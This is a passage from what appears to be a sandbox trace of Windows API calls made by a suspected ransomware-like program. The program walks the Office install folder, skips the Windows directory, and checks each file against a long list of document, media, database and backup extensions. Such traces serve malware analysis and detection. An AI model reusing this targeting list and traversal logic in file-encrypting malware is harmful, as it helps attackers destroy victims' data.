ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e68d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1 [0251.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office 15") returned 36 [0251.194] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office 15") returned 1 [0251.194] lstrlenW (lpString="Microsoft Office 15") returned 19 [0251.195] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Microsoft Office 15") returned -1 [0251.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41658b8 [0251.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office 15") returned 36 [0251.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office 15\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e68d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d0348 [0251.196] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e68d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.196] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClientX64", cAlternateFileName="CLIENT~1")) returned 1 [0251.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office 15\\ClientX64") returned 46 [0251.196] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office 15\\ClientX64") returned 1 [0251.196] lstrlenW (lpString="ClientX64") returned 9 [0251.196] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ClientX64") returned -1 [0251.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4135060 [0251.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office 15\\ClientX64") returned 46 [0251.197] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\*", lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6d0548 [0251.197] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0251.197] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0251.197] lstrlenW (lpString="IntegratedOffice.exe") returned 20 [0251.197] lstrlenW (lpString=".1cd") returned 4 [0251.197] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0251.197] lstrlenW (lpString=".3ds") returned 4 [0251.197] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1 [0251.198] lstrlenW (lpString=".3fr") returned 4 [0251.198] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1 [0251.198] lstrlenW (lpString=".3g2") returned 4 [0251.198] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1 [0251.198] lstrlenW (lpString=".3gp") returned 4 [0251.198] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1 [0251.198] lstrlenW (lpString=".7z") returned 3 [0251.198] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0251.198] lstrlenW (lpString=".accda") returned 6 [0251.198] lstrcmpiW (lpString1=".accda", lpString2="ce.exe") returned -1 [0251.198] lstrlenW (lpString=".accdb") returned 6 [0251.198] lstrcmpiW (lpString1=".accdb", lpString2="ce.exe") returned -1 [0251.198] lstrlenW (lpString=".accdc") returned 6 [0251.198] lstrcmpiW (lpString1=".accdc", lpString2="ce.exe") returned -1 [0251.198] lstrlenW (lpString=".accde") returned 6 [0251.198] lstrcmpiW (lpString1=".accde", lpString2="ce.exe") returned -1 [0251.198] lstrlenW (lpString=".accdt") returned 6 [0251.198] lstrcmpiW (lpString1=".accdt", lpString2="ce.exe") returned -1 [0251.198] lstrlenW (lpString=".accdw") returned 6 [0251.198] lstrcmpiW (lpString1=".accdw", lpString2="ce.exe") returned -1 [0251.198] lstrlenW (lpString=".adb") returned 4 [0251.198] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1 [0251.198] lstrlenW (lpString=".adp") returned 4 [0251.198] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1 [0251.198] lstrlenW (lpString=".ai") returned 3 [0251.198] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1 [0251.198] lstrlenW (lpString=".ai3") returned 4 [0251.198] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1 [0251.198] lstrlenW (lpString=".ai4") returned 4 [0251.199] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1 [0251.199] lstrlenW (lpString=".ai5") returned 4 [0251.199] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1 [0251.199] lstrlenW (lpString=".ai6") returned 4 [0251.199] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1 [0251.199] lstrlenW (lpString=".ai7") returned 4 [0251.199] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1 [0251.199] lstrlenW (lpString=".ai8") returned 4 [0251.199] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1 [0251.199] lstrlenW (lpString=".anim") returned 5 [0251.199] lstrcmpiW (lpString1=".anim", lpString2="e.exe") returned -1 [0251.199] lstrlenW (lpString=".arw") returned 4 [0251.199] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1 [0251.199] lstrlenW (lpString=".as") returned 3 [0251.199] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1 [0251.199] lstrlenW (lpString=".asa") returned 4 [0251.199] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1 [0251.199] lstrlenW (lpString=".asc") returned 4 [0251.199] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1 [0251.199] lstrlenW (lpString=".ascx") returned 5 [0251.199] lstrcmpiW (lpString1=".ascx", lpString2="e.exe") returned -1 [0251.199] lstrlenW (lpString=".asm") returned 4 [0251.199] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1 [0251.199] lstrlenW (lpString=".asmx") returned 5 [0251.199] lstrcmpiW (lpString1=".asmx", lpString2="e.exe") returned -1 [0251.199] lstrlenW (lpString=".asp") returned 4 [0251.199] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1 [0251.199] lstrlenW (lpString=".aspx") returned 5 [0251.199] lstrcmpiW (lpString1=".aspx", lpString2="e.exe") returned -1 [0251.200] lstrlenW (lpString=".asr") returned 4 [0251.200] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1 [0251.200] lstrlenW (lpString=".asx") returned 4 [0251.200] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1 [0251.200] lstrlenW (lpString=".avi") returned 4 [0251.200] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1 [0251.200] lstrlenW (lpString=".avs") returned 4 [0251.200] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1 [0251.200] lstrlenW (lpString=".backup") returned 7 [0251.200] lstrcmpiW (lpString1=".backup", lpString2="ice.exe") returned -1 [0251.200] lstrlenW (lpString=".bak") returned 4 [0251.200] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1 [0251.200] lstrlenW (lpString=".bay") returned 4 [0251.200] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1 [0251.200] lstrlenW (lpString=".bd") returned 3 [0251.200] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1 [0251.200] lstrlenW (lpString=".bin") returned 4 [0251.200] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1 [0251.200] lstrlenW (lpString=".bmp") returned 4 [0251.200] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1 [0251.200] lstrlenW (lpString=".bz2") returned 4 [0251.200] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0251.200] lstrlenW (lpString=".c") returned 2 [0251.200] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1 [0251.200] lstrlenW (lpString=".cdr") returned 4 [0251.200] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1 [0251.200] lstrlenW (lpString=".cer") returned 4 [0251.200] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1 [0251.201] lstrlenW (lpString=".cf") returned 3 [0251.201] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1 [0251.201] lstrlenW (lpString=".cfc") returned 4 [0251.201] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1 [0251.201] lstrlenW (lpString=".cfm") returned 4 [0251.201] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1 [0251.201] lstrlenW (lpString=".cfml") returned 5 [0251.201] lstrcmpiW (lpString1=".cfml", lpString2="e.exe") returned -1 [0251.201] lstrlenW (lpString=".cfu") returned 4 [0251.201] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1 [0251.201] lstrlenW (lpString=".chm") returned 4 [0251.201] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1 [0251.201] lstrlenW (lpString=".cin") returned 4 [0251.201] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1 [0251.201] lstrlenW (lpString=".class") returned 6 [0251.201] lstrcmpiW (lpString1=".class", lpString2="ce.exe") returned -1 [0251.201] lstrlenW (lpString=".clx") returned 4 [0251.201] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1 [0251.201] lstrlenW (lpString=".config") returned 7 [0251.201] lstrcmpiW (lpString1=".config", lpString2="ice.exe") returned -1 [0251.201] lstrlenW (lpString=".cpp") returned 4 [0251.201] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1 [0251.201] lstrlenW (lpString=".cr2") returned 4 [0251.201] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1 [0251.201] lstrlenW (lpString=".crt") returned 4 [0251.201] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1 [0251.201] lstrlenW (lpString=".crw") returned 4 [0251.201] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1 [0251.201] lstrlenW (lpString=".cs") returned 3 [0251.202] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1 [0251.202] lstrlenW (lpString=".css") returned 4 [0251.202] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1 [0251.202] lstrlenW (lpString=".csv") returned 4 [0251.202] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1 [0251.202] lstrlenW (lpString=".cub") returned 4 [0251.202] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1 [0251.202] lstrlenW (lpString=".dae") returned 4 [0251.202] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1 [0251.202] lstrlenW (lpString=".dat") returned 4 [0251.202] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1 [0251.202] lstrlenW (lpString=".db") returned 3 [0251.202] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1 [0251.202] lstrlenW (lpString=".dbf") returned 4 [0251.202] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0251.202] lstrlenW (lpString=".dbx") returned 4 [0251.202] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1 [0251.202] lstrlenW (lpString=".dc3") returned 4 [0251.202] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1 [0251.202] lstrlenW (lpString=".dcm") returned 4 [0251.202] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1 [0251.202] lstrlenW (lpString=".dcr") returned 4 [0251.202] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1 [0251.202] lstrlenW (lpString=".der") returned 4 [0251.202] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1 [0251.202] lstrlenW (lpString=".dib") returned 4 [0251.202] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1 [0251.202] lstrlenW (lpString=".dic") returned 4 [0251.202] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1 [0251.203] lstrlenW (lpString=".dif") returned 4 [0251.203] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1 [0251.203] lstrlenW (lpString=".divx") returned 5 [0251.203] lstrcmpiW (lpString1=".divx", lpString2="e.exe") returned -1 [0251.203] lstrlenW (lpString=".djvu") returned 5 [0251.203] lstrcmpiW (lpString1=".djvu", lpString2="e.exe") returned -1 [0251.203] lstrlenW (lpString=".dng") returned 4 [0251.203] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1 [0251.203] lstrlenW (lpString=".doc") returned 4 [0251.203] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0251.203] lstrlenW (lpString=".docm") returned 5 [0251.203] lstrcmpiW (lpString1=".docm", lpString2="e.exe") returned -1 [0251.203] lstrlenW (lpString=".docx") returned 5 [0251.203] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0251.203] lstrlenW (lpString=".dot") returned 4 [0251.203] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1 [0251.203] lstrlenW (lpString=".dotm") returned 5 [0251.203] lstrcmpiW (lpString1=".dotm", lpString2="e.exe") returned -1 [0251.203] lstrlenW (lpString=".dotx") returned 5 [0251.203] lstrcmpiW (lpString1=".dotx", lpString2="e.exe") returned -1 [0251.203] lstrlenW (lpString=".dpx") returned 4 [0251.203] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1 [0251.203] lstrlenW (lpString=".dqy") returned 4 [0251.203] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1 [0251.203] lstrlenW (lpString=".dsn") returned 4 [0251.203] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1 [0251.203] lstrlenW (lpString=".dt") returned 3 [0251.203] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1 [0251.204] lstrlenW (lpString=".dtd") returned 4 [0251.204] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1 [0251.204] lstrlenW (lpString=".dwg") returned 4 [0251.204] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1 [0251.204] lstrlenW (lpString=".dwt") returned 4 [0251.204] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1 [0251.204] lstrlenW (lpString=".dx") returned 3 [0251.204] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1 [0251.204] lstrlenW (lpString=".dxf") returned 4 [0251.204] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1 [0251.204] lstrlenW (lpString=".edml") returned 5 [0251.204] lstrcmpiW (lpString1=".edml", lpString2="e.exe") returned -1 [0251.204] lstrlenW (lpString=".efd") returned 4 [0251.204] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1 [0251.204] lstrlenW (lpString=".elf") returned 4 [0251.204] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1 [0251.204] lstrlenW (lpString=".emf") returned 4 [0251.204] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0251.204] lstrlenW (lpString=".emz") returned 4 [0251.204] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1 [0251.204] lstrlenW (lpString=".epf") returned 4 [0251.204] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1 [0251.204] lstrlenW (lpString=".eps") returned 4 [0251.204] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1 [0251.204] lstrlenW (lpString=".epsf") returned 5 [0251.204] lstrcmpiW (lpString1=".epsf", lpString2="e.exe") returned -1 [0251.204] lstrlenW (lpString=".epsp") returned 5 [0251.204] lstrcmpiW (lpString1=".epsp", lpString2="e.exe") returned -1 [0251.204] lstrlenW (lpString=".erf") returned 4 [0251.205] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1 [0251.205] lstrlenW (lpString=".exr") returned 4 [0251.205] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1 [0251.205] lstrlenW (lpString=".f4v") returned 4 [0251.205] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1 [0251.205] lstrlenW (lpString=".fido") returned 5 [0251.205] lstrcmpiW (lpString1=".fido", lpString2="e.exe") returned -1 [0251.205] lstrlenW (lpString=".flm") returned 4 [0251.205] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1 [0251.205] lstrlenW (lpString=".flv") returned 4 [0251.205] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1 [0251.205] lstrlenW (lpString=".frm") returned 4 [0251.205] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1 [0251.205] lstrlenW (lpString=".fxg") returned 4 [0251.205] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1 [0251.205] lstrlenW (lpString=".geo") returned 4 [0251.205] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1 [0251.205] lstrlenW (lpString=".gif") returned 4 [0251.205] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1 [0251.205] lstrlenW (lpString=".grs") returned 4 [0251.205] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1 [0251.205] lstrlenW (lpString=".gz") returned 3 [0251.205] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1 [0251.205] lstrlenW (lpString=".h") returned 2 [0251.205] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1 [0251.205] lstrlenW (lpString=".hdr") returned 4 [0251.205] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1 [0251.205] lstrlenW (lpString=".hpp") returned 4 [0251.205] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1 [0251.206] lstrlenW (lpString=".hta") returned 4 [0251.206] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1 [0251.206] lstrlenW (lpString=".htc") returned 4 [0251.206] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1 [0251.206] lstrlenW (lpString=".htm") returned 4 [0251.206] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0251.206] lstrlenW (lpString=".html") returned 5 [0251.206] lstrcmpiW (lpString1=".html", lpString2="e.exe") returned -1 [0251.206] lstrlenW (lpString=".icb") returned 4 [0251.206] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1 [0251.206] lstrlenW (lpString=".ics") returned 4 [0251.206] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1 [0251.206] lstrlenW (lpString=".iff") returned 4 [0251.206] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1 [0251.206] lstrlenW (lpString=".inc") returned 4 [0251.206] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1 [0251.206] lstrlenW (lpString=".indd") returned 5 [0251.206] lstrcmpiW (lpString1=".indd", lpString2="e.exe") returned -1 [0251.206] lstrlenW (lpString=".ini") returned 4 [0251.206] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1 [0251.206] lstrlenW (lpString=".iqy") returned 4 [0251.206] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1 [0251.206] lstrlenW (lpString=".j2c") returned 4 [0251.206] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1 [0251.206] lstrlenW (lpString=".j2k") returned 4 [0251.408] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1 [0251.408] lstrlenW (lpString=".java") returned 5 [0251.408] lstrcmpiW (lpString1=".java", lpString2="e.exe") returned -1 [0251.408] lstrlenW (lpString=".jp2") returned 4 [0251.408] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1 [0251.408] lstrlenW (lpString=".jpc") returned 4 [0251.408] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1 [0251.408] lstrlenW (lpString=".jpe") returned 4 [0251.408] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1 [0251.408] lstrlenW (lpString=".jpeg") returned 5 [0251.408] lstrcmpiW (lpString1=".jpeg", lpString2="e.exe") returned -1 [0251.408] lstrlenW (lpString=".jpf") returned 4 [0251.408] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1 [0251.409] lstrlenW (lpString=".jpg") returned 4 [0251.409] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0251.409] lstrlenW (lpString=".jpx") returned 4 [0251.409] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1 [0251.409] lstrlenW (lpString=".js") returned 3 [0251.409] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1 [0251.409] lstrlenW (lpString=".jsf") returned 4 [0251.409] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1 [0251.409] lstrlenW (lpString=".json") returned 5 [0251.409] lstrcmpiW (lpString1=".json", lpString2="e.exe") returned -1 [0251.409] lstrlenW (lpString=".jsp") returned 4 [0251.409] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1 [0251.409] lstrlenW (lpString=".kdc") returned 4 [0251.409] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1 [0251.409] lstrlenW (lpString=".kmz") returned 4 [0251.409] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1 [0251.409] lstrlenW (lpString=".kwm") returned 4 [0251.409] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1 [0251.409] lstrlenW (lpString=".lasso") returned 6 [0251.409] lstrcmpiW (lpString1=".lasso", lpString2="ce.exe") returned -1 [0251.409] lstrlenW (lpString=".lbi") returned 4 [0251.409] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1 [0251.409] lstrlenW (lpString=".lgf") returned 4 [0251.409] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1 [0251.409] lstrlenW (lpString=".lgp") returned 4 [0251.409] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1 [0251.410] lstrlenW (lpString=".log") returned 4 [0251.410] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1 [0251.410] lstrlenW (lpString=".m1v") returned 4 [0251.410] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1 [0251.410] lstrlenW (lpString=".m4a") returned 4 [0251.410] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1 [0251.410] lstrlenW (lpString=".m4v") returned 4 [0251.410] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1 [0251.410] lstrlenW (lpString=".max") returned 4 [0251.410] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1 [0251.410] lstrlenW (lpString=".md") returned 3 [0251.410] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1 [0251.410] lstrlenW (lpString=".mda") returned 4 [0251.410] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1 [0251.410] lstrlenW (lpString=".mdb") returned 4 [0251.410] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1 [0251.410] lstrlenW (lpString=".mde") returned 4 [0251.410] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1 [0251.410] lstrlenW (lpString=".mdf") returned 4 [0251.410] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1 [0251.410] lstrlenW (lpString=".mdw") returned 4 [0251.411] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1 [0251.411] lstrlenW (lpString=".mef") returned 4 [0251.411] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1 [0251.411] lstrlenW (lpString=".mft") returned 4 [0251.411] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1 [0251.411] lstrlenW (lpString=".mfw") returned 4 [0251.411] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1 [0251.411] lstrlenW (lpString=".mht") returned 4 [0251.411] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1 [0251.411] lstrlenW (lpString=".mhtml") returned 6 [0251.411] lstrcmpiW (lpString1=".mhtml", lpString2="ce.exe") returned -1 [0251.411] lstrlenW (lpString=".mka") returned 4 [0251.411] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1 [0251.411] lstrlenW (lpString=".mkidx") returned 6 [0251.411] lstrcmpiW (lpString1=".mkidx", lpString2="ce.exe") returned -1 [0251.411] lstrlenW (lpString=".mkv") returned 4 [0251.411] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1 [0251.411] lstrlenW (lpString=".mos") returned 4 [0251.411] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1 [0251.411] lstrlenW (lpString=".mov") returned 4 [0251.411] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1 [0251.411] lstrlenW (lpString=".mp3") returned 4 [0251.411] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1 [0251.411] lstrlenW (lpString=".mp4") returned 4 [0251.411] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1 [0251.411] lstrlenW (lpString=".mpeg") returned 5 [0251.411] lstrcmpiW (lpString1=".mpeg", lpString2="e.exe") returned -1 [0251.411] lstrlenW (lpString=".mpg") returned 4 [0251.412] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".mpv") returned 4 [0251.412] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".mrw") returned 4 [0251.412] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".msg") returned 4 [0251.412] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".mxl") returned 4 [0251.412] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".myd") returned 4 [0251.412] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".myi") returned 4 [0251.412] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".nef") returned 4 [0251.412] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".nrw") returned 4 [0251.412] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".obj") returned 4 [0251.412] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".odb") returned 4 [0251.412] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".odc") returned 4 [0251.412] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".odm") returned 4 [0251.412] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".odp") returned 4 [0251.412] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1 [0251.412] lstrlenW (lpString=".ods") returned 4 [0251.412] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1 [0251.412] lstrlenW 